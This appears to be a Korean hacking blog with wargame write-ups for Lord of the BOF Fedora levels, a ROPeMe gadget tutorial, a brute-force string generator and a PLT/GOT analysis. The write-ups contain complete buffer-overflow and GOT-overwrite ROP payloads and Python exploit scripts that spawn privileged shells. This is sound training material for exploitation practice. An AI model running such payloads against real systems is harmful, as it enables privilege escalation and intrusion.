2013. 4. 28. 18:41

KEYWORD  : LOB 페도라 원정대 페도라4 오버플로우 



dark_stone 부터는 페도라 원정대3에서 페도라 원정대 4로 이미지를 바꾸어 진행하여야 한다.

cruel 문제부터 봐보면 오히려 간단해진 문제를 볼수 있다.



strcpy 부분에서 인자값을 복사하면서 경계값을 검사 하지 않아 오버플로우가 발생한다.

execl 을 이용하여 심볼릭 링크를 걸고 공격 하는 방법을 다시 써서 공략하였다.


(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>

0x08048451 <main+109>: ret    


RET = 0x08048451

execl  = 0x832d68


스택은 랜덤하기 떄문에 RET 슬라이딩을 이용하여 eip를 움직여 스택이 정적인 부분까지 끌어 올리는 방식을 택하였다.

여기서 3번정도면 스택이 정적인 부분을 찾을 수 있었으나, 인자값을 구하기 쉬운 부분을 선택하기 위하여 RET을 7번이나 더해주게 되었다.

[dark_stone@Fedora_2ndFloor ~]$ sstrace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

[008a1402] execve("./cruel", ["./cruel", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 20 vars */]) = 0

.

.

[009c1402] execve("<춯", ["", "U\211\345WVS\203\354\f\350", "", "Q\204\4\10Q\204\4\10\234\245\307\277\364\257\214", "\205\300uSe\241T"], [/* 20 vars */]) = -1 ENOENT (No such file or directory)  //execl 의 인자가 짧다.


[dark_stone@Fedora_2ndFloor ~]$ strace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'` 2> result.txt

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

[dark_stone@Fedora_2ndFloor ~]$

[dark_stone@Fedora_2ndFloor ~]$ xxd result.txt 

.

.

.

0000740: 6435 3430 325d 2065 7865 6376 6528 223c  d5402] execve("<

0000750: ad8c 222c 205b 2222 2c20 2255 5c32 3131  ..", ["", "U\211

.

.

 execl 인자값 :  \x3\xad\x8c 가 이자값이 되어 실행 되었다.


다음은 execl 의 인자값을 쉘을 떨어트릴 수 있는 프로그램으로 심볼릭 링크를 걸어준다.

[dark_stone@Fedora_2ndFloor ~]$ cat system.c

#include<stdio.h>

int main(int argc, char *argv[]){

setreuid(geteuid(),geteuid());

system("/bin/sh");

}

[dark_stone@Fedora_2ndFloor ~]$ export PATH=$PATH:/home/dark_stone  

[dark_stone@Fedora_2ndFloor ~]$ ln -s system `python -c 'print "\x3c\xad\x8c"'`



공격 페이로드는 다음과 같다.


[ buffer = 260 ] [ RET ] * 7 , [ execl ] [ 어딘가의 인자값 ]

                                                      \x3c\xad\x8c -> "/bin/sh 을 실행시켜주는 프로그램 "

                      


[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

sh-3.00$ id

uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t

sh-3.00?y-pass

sh: ?y-pass: command not found

sh-3.00$ my-pass

euid = 501

come on, come over

sh-3.00$ 



Posted by k1rha
2013. 4. 19. 15:55

ropeme 사용하여 ROP 가젯 쉽게 구하기.



ropeme-bhus10.tbz2


파일을 리눅스에 올리고 압축을 풀어주고 들어가면 distorm 이 있는데 그것가지 압축을 풀어준다.


root@ubuntu:/home/root/ropeme-bhus10# ls

README  distorm-1.7.30  distorm-1.7.30.tar.gz  exploit.py  ropeme  vuln  vuln.c

root@ubuntu:/home/root/ropeme-bhus10#tar -xvf distorm-1.7.30.tar.gz


root@ubuntu:/home/root/ropeme-bhus10# cd distorm-1.7.30/


root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ls

COPYING   PKG-INFO  cygwin-x86  linux-x86_64  macosx-x86  setup.py       windows-x86

MANIFEST  build     linux-x86   macosx-ppc    setup.cfg   windows-amd64

각 환경에 맞게 설치가 되도록 되어 있다.


root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ./setup.py build

root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ./setup.py install

설치를 해준뒤 ropeme 폴더로 이동한다.


root@ubuntu:/home/root/ropeme-bhus10/ropeme# ./ropshell.py 

Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> 


그리고 취약한 파일을 어셈으로 덤프를 뜨는 명령어를 쓴다.

root@ubuntu:/home/root/ropeme-bhus10# ls

README  distorm-1.7.30  distorm-1.7.30.tar.gz  exploit.py  ropeme  vuln  vuln.c

root@ubuntu:/home/root/ropeme-bhus10# ./ropeme/ropshell.py 

Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> generate vuln

Generating gadgets for vuln with backward depth=3

It may take few minutes depends on the depth and file size...

Processing code block 1/1

Generated 60 gadgets

Dumping asm gadgets to file: vuln.ggt ...

OK

ROPeMe> 



ROPeMe> search pop ?     //? 는 검색문자열의 주소이고 

Searching for ROP gadget:  pop ? with constraints: []

0x80484b4L: pop ebp ;;

0x8048573L: pop ebp ;;

0x80485d8L: pop ebp ;;


ROPeMe> search pop %   //% 는 검색 문자열의 포함 주소이다.

Searching for ROP gadget:  pop % with constraints: []

0x8048384L: pop eax ; pop ebx ; leave ;;

0x80485d8L: pop ebp ; ret ; mov ebx [esp] ;;

0x80484b4L: pop ebp ;;

0x8048573L: pop ebp ;;

0x80485d8L: pop ebp ;;

0x8048385L: pop ebx ; leave ;;

0x8048625L: pop ebx ; leave ;;

0x80484b3L: pop ebx ; pop ebp ;;

0x8048608L: pop ebx ; pop ebp ;;

0x8048624L: pop ecx ; pop ebx ; leave ;;

0x80485d7L: pop edi ; pop ebp ;;

0x80485d6L: pop esi ; pop edi ; pop ebp ;;


ROPeMe> 



Posted by k1rha
2013. 4. 14. 15:14

LOB Fedora 원정대 ( evil_wizard -> dark_stone )

key word : GOT overwrite , Remote Buffer Overflow Got overwrite 



지난번 문제와 거의 동일하다. 다만 리모트 환경으로 넘어오게 된다.



지난번 문제와 큰차이는 없으나, 리모트 환경이다. 8888 번 포트로 전송 시키되, execve 를 쓸필요 없고 system 함수로

쉘만 획득해도 권한이 상승 한다.  지난번과 똑같은 PAYLOAD 로 공격하려고 했으나 많은 실패가 있었는데 GOT table 을 망가트리는

현상이 일어나는 것 같았다.

[ROP] 문서 내용 중..

custom stack 의 위치를 정하기 위해 주의해야 할 사항:

· 주소안에서 NULL 값을 피하기위해 우리는 마지막 byte 값을 낮은 값으로 선택해줘야 한다. (예:

0x8049810)

· GOT 테이블이 예상치 못하게 덮어지는 상황을 주의해야 한다.

· 스택은 높은주소에서부터 낮은 주소로 자라기 때문에, data 영역을 시작 주소로 잡아서는 안된다.

(예: 시작주소를 0x8049010 으로 잡아버리면 ret-to-libc call 이 실패할 것이다.)

· 보통은 ".data" 혹은 "bss" 영역 이후의 주소로 잡아주는것이 custom stack 을 설정하기에 좋다.


[ 이전 공격구문 ]

[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 == /bin/sh 가 안됐음 ]


[ 이번에 적용한 공격구문 ]


[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 0 ] , [ system 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 1 ] , [ system 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 2 ] , [ system 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 3 ] , [ system 네번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT ] , [ CUSTOM_ADDR 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[ &/bin/sh ]


위 공격 구문을 구성하기 위해서 필요한 것들은 다음과 같다.


memcpy@plt :  0x08048418

(gdb) x/5i 0x08048418

0x8048418 <_init+120>: jmp    *0x8049850


memcpy@got : 0x08049850

strcpy@plt  : 0x08048438

PPR : 0x080484f0  

"/bin/sh" @ addr = 0x833604

system : 0x7507c0

c0 : 0x80484d0

07 : 0x8048ca9

75 : 0x80486ee

00 : 0x804875e


임의의 스택값 : 0x80498a0: 0x00000000 0x00000000 0x00000000 0x00000000

//이경우 memcpy@got 에 직접 씌워주려 했으나, 실패했다. GOT table이 깨지는 듯 하여 임의의 주소값에 system 주소를담고 다시 이를 memcpy 로 가져옴으로써 정확한 주소값만 Overwrite를 할 수 있도록 하였다.



1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;

}




복사 붙여넣기 용 소스코드

[ source code ]

import os


MEMCPY_GOT = "\x50\x98\x04\x08"

BINSH = "\x03\x36\x83\x00"

CALL_MEMCPY = "\x95\x85\x04\x08"


#SYSTEM = "\xc0\x07\x75\x00"

ADDR_C0 = "\xd0\x84\x04\x08"

ADDR_07 = "\xa9\x8c\x04\x08"

ADDR_75 = "\xee\x86\x04\x08"

ADDR_00 = "\x5e\x87\x04\x08"


STRCPY =  "\x38\x84\x04\x08" 

PPR =  "\xf3\x84\x04\x08"


CUSTOM_0 =  "\xa0\x98\x04\x08"

CUSTOM_1 =  "\xa1\x98\x04\x08"

CUSTOM_2 =  "\xa2\x98\x04\x08"

CUSTOM_3 =  "\xa3\x98\x04\x08"


def main():


BUFFER = "\x90"*268

ATTACK = BUFFER + \

STRCPY + PPR + CUSTOM_0 + ADDR_C0+\

 STRCPY + PPR + CUSTOM_1 + ADDR_07+\

 STRCPY + PPR + CUSTOM_2 + ADDR_75+\

 STRCPY + PPR + CUSTOM_3 + ADDR_00+\

 STRCPY + PPR + MEMCPY_GOT + CUSTOM_0+\

 CALL_MEMCPY + BINSH

print ATTACK


if __name__ ==  '__main__':

main()


[evil_wizard@Fedora_1stFloor ~]$ (python exploit6.py ;cat)| nc localhost 8888

dark_stone : how fresh meat you are!

you : id           

uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t

my-pass

euid = 505

let there be light

[dark_stone@Fedora_1stFloor ~]$ ls -al

total 56

drwx--x---  2 dark_stone dark_stone 4096 Apr 28  2010 .

drwxr-xr-x  8 root       root       4096 Apr 28  2010 ..

-rw-r--r--  1 dark_stone dark_stone   24 Apr 28  2010 .bash_logout

-rw-r--r--  1 dark_stone dark_stone  191 Apr 28  2010 .bash_profile

-rw-r--r--  1 dark_stone dark_stone  124 Apr 28  2010 .bashrc

-rw-r--r--  1 root       root        580 Apr 28  2010 dropped_item.txt

-rw-r--r--  1 dark_stone dark_stone  383 Apr 28  2010 .emacs

[dark_stone@Fedora_1stFloor ~]$ cat dropped_item.txt 

                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,' 

- 끝 -


Posted by k1rha
2013. 4. 7. 21:06

keyword : load of bof , LOB ,Fedora,  BOF, GOT, overwrite, (hell_fire -> evil_wizard)


[hell_fire@Fedora_1stFloor ~]$ cat evil_wizard.c

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3   

- hint : GOT overwriting    //GOT overwrite 를 하라는 힌트가 있음

*/


// magic potion for you

void pop_pop_ret(void) //좀있다 사용될 PPR 코드를 만들어 둬서 찾기 쉽게 만들어줌. 

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);   // EBP 를 저장시킴

 

// overflow!!

strcpy(buffer, argv[1]);   //OVER FLOW 발생지점 


// restore sfp 

memcpy(buffer+264, saved_sfp, 4); //EBP를 복원시켜서 오버플로우로 EBP바뀐것이 소용없도록함


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); 


printf("%s\n", buffer);

}



GOT overwrite는 FSB(Formet string bug)에서 자주 사용되는 공격 기법이다. 

PLT 와 GOT 에 대한건  system 게시판 GOT PLT 심층 분석을 통해 보고 여기서는 풀이에 힘을 쏟겠다. 


이전 문제와 같이 268 바이트면 EBP까지 덮어 쓰고 RET을 덮기 시작한다.


공격의 설명은 다음과 같다.

memcpy GOT 주소를 execve 실 주소로 덮어 쓰는 것이다. 

그렇게 되면 memcpy 를 실행하는 대신에 execve 를 실행하게 될 것이다.



[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 


[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 ]




필요한 함수들의 주소

(gdb)p execve

{<text variable, no debug info>} 0x7a5490 <execve>


(gdb) info func

0x0804854c  pop_pop_ret


[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizard | grep strcpy

08048494 <strcpy@plt>:

 8048624: e8 6b fe ff ff       call   8048494 <strcpy@plt>

(gdb) x/10xi 0x8048434

0x8048434 <_init+104>: jmp    *0x8049888

0x804843a <_init+110>: push   $0x20

(gdb) x/10xi 0x8049888   //memcpy GOT 주소값 

0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: rclb   $0x60,0x0(%eax,%edi,2)

0x804988d <_GLOBAL_OFFSET_TABLE_+33>: cwtl   

(gdb) x/10xi *0x8049888  //memcpy GOT 주소값의 값들을 확인해보면 memcpy가 들어있음

0x7854c0 <memcpy>: mov    0xc(%esp),%ecx

0x7854c4 <memcpy+4>: mov    %edi,%eax

0x7854c6 <memcpy+6>: mov    0x4(%esp),%edi


[ 정리 ]


 PPR  address : 0x0804854c

 strcpy@PLT    : 0x8048494

 memcpy@GOT 0x8049888

 execve          : 0x007a5490

                              0x90  : 0x8049450

0x54  : 0x80487b4

0x7a  : 0x8048898

0x00  : 0x8048798


main+240         : 0x08048644



- main+240 주소값 구하기 

(gdb)disass main

0x08048644 <main+240>: call   0x8048434 <_init+104>

   



- execve 주소값을 가지고 있는 주소값 구하기 (고정된 주소는 다 뒤져야함)

0x80487b0: 0x0000000d 0x08048754 0x00000004 0x08048148

(gdb) x/x 0x080487b0+4

0x80487b4: 0x08048754


0x8048790: 0x00000000 0xffffffff 0x00000000 0x00000000

(gdb) x/x 0x8048790+8

0x8048798: 0x00000000


0x804888c: 0x0804844a 0x0804845a 0x0804846a 0x0804847a

(gdb) x/x 0x804888c+12

0x8048898: 0x0804847a


0x804944c: 0xe9000000 0xffffff90 0x989025ff 0x30680804

(gdb) x/x 0x804944c+4

0x8049450: 0xffffff90





[ 공격구문 ]



import os

def main():


        x= "x"*268+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+\

                "\x44\x86\x04\x08"+"\xc6\x84\x04\x08"


                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+0 + execve_1st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+1 + execve_2st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+2 + execve_3st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+3 + execve_4st_addr <- addr

                 #main+240 (EBP)  + somewhere static address


        TARGET = "./evil_wizard"

        CMD = TARGET + " " + x

        os.system(CMD)


if __name__ == '__main__' :

        main()


   

[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'`//고정된 주소 값 

.

.

.[007037a2] execve("??U???, [0], [/* 0 vars */]) = -1 ENOENT (No such file or directory) //특정값을 실행

[00784fd7] --- SIGSEGV (Segmentation fault) @ 0 (0) ---

upeek: ptrace(PTRACE_PEEKUSER,4524,48,0): No such process

[????????] +++ killed by SIGSEGV +++

[hell_fire@Fedora_1stFloor ~]$ 


[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'` 2> error.txt //고정된 주소 값

 

[hell_fire@Fedora_1stFloor ~]$xxd error.txt

0000970: 3761 325d 2065 7865 6376 6528 2290 9055  7a2] execve("..U

0000980: 89e5 53e8 222c 205b 305d 2c20 5b2f 2a20  ..S.", [0], [/* 


위에 검은색 부분을 실행시킴 


[hell_fire@Fedora_1stFloor ~]$ make system

cc     system.c   -o system   // setreuid 와 system("/bin/sh") 프로그램


[hell_fire@Fedora_1stFloor ~]$ ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[007037a2] execve("??U???, [0], [/* 0 vars */]) = 0


[hell_fire@Fedora_1stFloor ~]$  ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[hell_fire@Fedora_1stFloor ~]$ python exploit.py 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(???O???P???O???큸??O???????O?????D??

sh-3.00$ id

uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t

sh-3.00$ 

sh-3.00$ my-pass

euid = 504

get down like that

sh-3.00$ 


Posted by k1rha
2013. 4. 7. 14:36

keyword  : 문자열 조합 brute forcing 


부르투 포싱을 할때 쓸 문자열 조합 방법이다.


import time


your_list1 = 'abcdefghijklmnopqrstuvwxyz'

your_list2 = '1234567890'

your_list3 = 'abcdefghijklmnopqrstuvwxyz1234567890'

TheKey = ''

current =''


def bruteForcing(y):

        for current in xrange(7):

                TheKey = [i for i in your_list1]

                for y in xrange(current):

                        TheKey = [x+i for i in your_list1 for x in TheKey]

                for i in range(0,len(TheKey)) :

                        print TheKey[i]



def main():


        bruteForcing(0)


if __name__ == '__main__' :

        main()

Posted by k1rha
2013. 4. 5. 23:51

Keyword  : PLT & GOT 심층 분석.  왜사용되나? 그리고 어떠한 상관 관계에 있는가?


우선 아래 몇가지 용어는 확실하게 정의하고 넘어가자.


   .GOT(Global offset Table)

함수 호출 시 가변적이면서도 빠르게 검색을 하기 위해 생성되는 TABLE 이다.

첫 호출시엔 코드 영역의 벡터 주소가 들어있고,

두번째 부터는 그 함수의 실제 주소가 들어가게 된다.

 .PLT(Procedure Linked Table)

 컴파일 타임에 생성되는 테이블로 어떠한 GOT영역의 주소를 참조 할지 정해져 있다.

 _dl_runtime_resolve

 _dl_runtime_resolve 함수는 전달된 인자 값을 사용하여 호출된 함수의 실제 주소를 구한 후 GOT에 저장한 뒤 호출된 함수로 점프한다. (GOT을 두번째 참조 할때부턴 호출되지 않는다.)

 _init  컴파일시 생성되는 함수로 미리 선언 되어 있는 코드 영역이다.


정확하지 않을 수 있지만, 커널은 어떠한 함수가 호출 될때, 자주 호출될 법한, 빈도수 높은 함수들을 GOT 에 집어 넣고,

빠르게 사용하기 위해 위와 같은 구조로 설계 되어 있는 듯하다. 

내가 이제부터 작성할 문서는 사실 GOT 영역을 컴파일시에 결정해 놓으면 PLT 과정이 생략되도 되지 않을까? 하는 생각에서 시작된 분석이다. 결론적으론 GOT 영역에 모든 함수의 실제 주소값을 다 넣어두게 된다면, GOT 자체의 크기도 너무 커져 버리고, 무의미하게 되는 것이다.  


보통 검색을 하다보면 PLT 와 GOT 에 대해서만 설명이 많이 되어 있는데, 내가 생각하기에 결론적으로 중요한 핵심은

_dl_runtime_resolve 가 맡고 있었다. 이놈이 GOT에 함수주소들을 찾아 저장시켜줌으로써 아래와 같은 과정이 이뤄지는 것이다.



 @Fedora_1stFloor TEST]$ readelf -S test


  [ 9] .rel.plt          REL                 08048288 000288 000018 08   A  4  11  4

  [10] .init             PROGBITS        080482a0 0002a0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482b8 0002b8 000040 04  AX  0   0  4

  [12] .text             PROGBITS        080482f8 0002f8 0001d0 00  AX  0   0  4

  [13] .fini             PROGBITS        080484c8 0004c8 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        080484e4 0004e4 000011 00   A  0   0  4

  [15] .eh_frame         PROGBITS        080484f8 0004f8 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        080494fc 0004fc 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049504 000504 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        0804950c 00050c 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         08049510 000510 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        080495d8 0005d8 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        080495dc 0005dc 000018 04  WA  0   0  4

  [22] .data             PROGBITS        080495f4 0005f4 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049600 000600 000004 00  WA  0   0  4


[12번] 텍스트 영역에는 컴파일시 생성된 어셈 코드들이 담겨 있다. 그리고 좀더 높은 영역으로 가다보면 main 함수를 거쳐 got.plt 영역까지 보이게 된다.

(gdb) x/50xi 0x080482f8

0x80482f8 <_start>: xor    %ebp,%ebp

0x80482fa <_start+2>: pop    %esi

0x80482fb <_start+3>: mov    %esp,%ecx



           

아래는 printf 를 두번 호출해 코드의 디버깅 모습이다. 빨간색으로 표히산 부분들이 printf를 호출하는 부분인데 이를 트레이싱해보겠다.


 (gdb) disass main

Dump of assembler code for function main:

0x080483b8 <main+0>: push   %ebp

0x080483b9 <main+1>: mov    %esp,%ebp

0x080483bb <main+3>: sub    $0x8,%esp

0x080483be <main+6>: and    $0xfffffff0,%esp

0x080483c1 <main+9>: mov    $0x0,%eax

0x080483c6 <main+14>: add    $0xf,%eax

0x080483c9 <main+17>: add    $0xf,%eax

0x080483cc <main+20>: shr    $0x4,%eax

0x080483cf <main+23>: shl    $0x4,%eax

0x080483d2 <main+26>: sub    %eax,%esp

0x080483d4 <main+28>: sub    $0xc,%esp

0x080483d7 <main+31>: push   $0x80484ee

0x080483dc <main+36>: call   0x80482e8 <_init+72>

0x080483e1 <main+41>: add    $0x10,%esp

0x080483e4 <main+44>: sub    $0xc,%esp

0x080483e7 <main+47>: push   $0x80484f0

0x080483ec <main+52>: call   0x80482e8 <_init+72>

.

.

(중략)

처음 call   0x80482e8 <_init+72> 호출되는 부분이 PLT 이다.

이를 따라가보면 아래와 같다.

(gdb) x/10xi 0x80482e8

0x80482e8 <_init+72>: jmp    *0x80495f0

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


처음 호출된 주소를 따라가면 jmp    *0x80495f0 를 만나게 된다. 이를 살펴보면 GOT 영역이란 것을 알 수 있다. 여기까지는 PLT -> GOT을 참조하는 영역으로써 컴파일 시에 이미 결정 되어 있는 것이다.

그값을 보면 GOT영역이라는 것을 확연히 볼 수 있다.


(gdb) x/12x 0x80495f0-20   //테이블을 전체를 보여주기 위해 20만큼 빼 보기좋게 표현했다.

0x80495dc <_GLOBAL_OFFSET_TABLE_>: 0x08049510 0x007194f8 0x0070e9e0 0x080482ce

0x80495ec <_GLOBAL_OFFSET_TABLE_+16>:0x00730d50 0x080482ee 0x00000000 0x00000000


이러한 테이블이 참조하는 영역은 아래와 같다.

(gdb) x/10xi *0x80495f0 

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


위에서 보면 이러한 글로벌 테이블은 처음 호출시에는 위와같이 한번더 점프하게 되는데, 그영역을 봐보면 아래와같이 어떠한 인자값을 넣고, dl_runtime_resolve 영역으로 점프하게 된다.

(gdb) x/3i 0x80482b8

0x80482b8 <_init+24>: pushl  0x80495e0

0x80482be <_init+30>: jmp    *0x80495e4


_dl_runtime_resolve 에서는 printf의 코드 영역의 주소를 찾아 GOT 테이블에 삽입하고 호출 후, 다시 복귀하는 루틴으로 구성 되어 있다.

(gdb) x/3i *0x80495e4

0x70e9e0 <_dl_runtime_resolve>: push   %eax

0x70e9e1 <_dl_runtime_resolve+1>: push   %ecx

0x70e9e2 <_dl_runtime_resolve+2>: push   %edx




자 이제 두번째  call   0x80482e8 <_init+72> 호출되는 부분이 PLT 이다. 간단하게 break point 를 걸어놓고 한번 printf 가 호출한 뒤 디버깅을 똑같이 진행해 보겠다.


(gdb) b *main+41

(gdb) c  //함수를 한번 호출시킨뒤 계속 진행


(gdb) x/3xi 0x80482e8

0x80482e8 <_init+72>: jmp    *0x80495f0

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


